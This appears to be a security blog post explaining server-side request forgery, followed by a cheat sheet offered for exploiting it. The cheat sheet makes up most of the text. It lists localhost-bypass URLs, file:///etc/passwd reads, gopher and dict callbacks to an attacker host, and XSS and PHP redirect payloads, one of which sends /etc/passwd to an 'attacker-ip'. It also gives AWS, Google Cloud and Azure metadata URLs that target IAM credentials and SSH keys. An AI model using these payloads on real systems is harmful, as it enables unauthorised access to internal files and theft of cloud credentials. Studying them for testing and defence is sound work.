What is SSRF?
In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL, which the code running on the server will read or submit data. By carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like HTTP-enabled databases or perform POST requests towards internal services that are not intended to be exposed.
The target application may have functionality for importing data from a URL, publishing data to a URL or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (like path traversal, etc.).
When the manipulated request goes to the server, the server-side code picks up the manipulated URL and tries to read data to the manipulated URL. By selecting target URLs, the attacker may be able to read data from services that are not directly exposed on the internet:
-
Cloud server meta-data — Cloud services such as AWS provide a REST interface on http://169.254.169.254/ where important configuration and sometimes even authentication keys can be extracted
-
Database HTTP interfaces — NoSQL database such as MongoDB provide REST interfaces on HTTP ports. If the database is expected to only be available to internally, authentication may be disabled and the attacker can extract data internal REST interfaces
-
Files — The attacker may be able to read files using file:// URIs. The attacker may also use this functionality to import untrusted data into code that expects to only read data from trusted sources, and as such circumvent input validation.
What is its impact?
A malicious actor can retrieve the content of arbitrary files on the system, which leads to sensitive information exposure(passwords, source code, confidential data, etc.).
How do I prevent SSRF vulnerability?
It is also recommended to restrict using network calls if it’s not required, since it can lead to sensitive information exposure as well — or at least limit the ability to perform network calls to the internal network or critical resources.
For more information on SSRF, please check following links:
- OWASP: Server Side Request Forgery
- OWASP: Cheat Sheet Series Server Side Request Forgery Prevention Cheat Sheet
For more detailed walkthroughs, check out my Hacking How-To video, Server Side Request Forgery (SSRF) All-In-One. In this session, I will explore how to exploit SSRF by using different attack scenarios.
SSRF CHEATSHEET
Below you will find my cheatsheet for exploiting Server Side Request Forgery (SSRF):
--------------------------------------------------------------------
Detection:
Check out parameters such as /file=, /path=, /src= to see if the application can send request only to whitelisted applications
Check out if there is PDF or any other file export tool in place which may be vulnerable to SSRF
--------------------------------------------------------------------
__Basic localhost Payloads:__
http://127.0.0.1:port
http://localhost:port
https://127.0.0.1:port
https://localhost:port
http://[::]:port
http://0000::1:port
http://[0:0:0:0:0:ffff:127.0.0.1]
http://0/
http://127.1
http://127.0.1
--------------------------------------------------------------------
__File path:__
/etc/passwd
file:///etc/passwd
file://path/to/file
file://\/\/etc/passwd
--------------------------------------------------------------------
__With other protocols:__
sftp://attacker.com:port/
dict://attacker:port/
tftp://attacker.com:port/
ldap://localhost:port/
gopher://127.0.0.1:port/
--------------------------------------------------------------------
__From XSS:__
\<img src="xxx" onerror="document.write('\<iframe src=file:///etc/passwd>\</iframe>')"/>\
\<link rel=attachment href="file:///etc/passwd">\
--------------------------------------------------------------------
__With iframe injection:__
<?php $file = $_GET['file']; header("location:file://$file");?>
\<iframe src="http://attacker-ip/test.php?file=/etc/passwd">\</iframe>\
--------------------------------------------------------------------
__AWS:__
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
--------------------------------------------------------------------
__Google Cloud:__
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
--------------------------------------------------------------------
Azure:
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
--------------------------------------------------------------------
*If you liked this blog, check out Busra's video walk-throughs here:
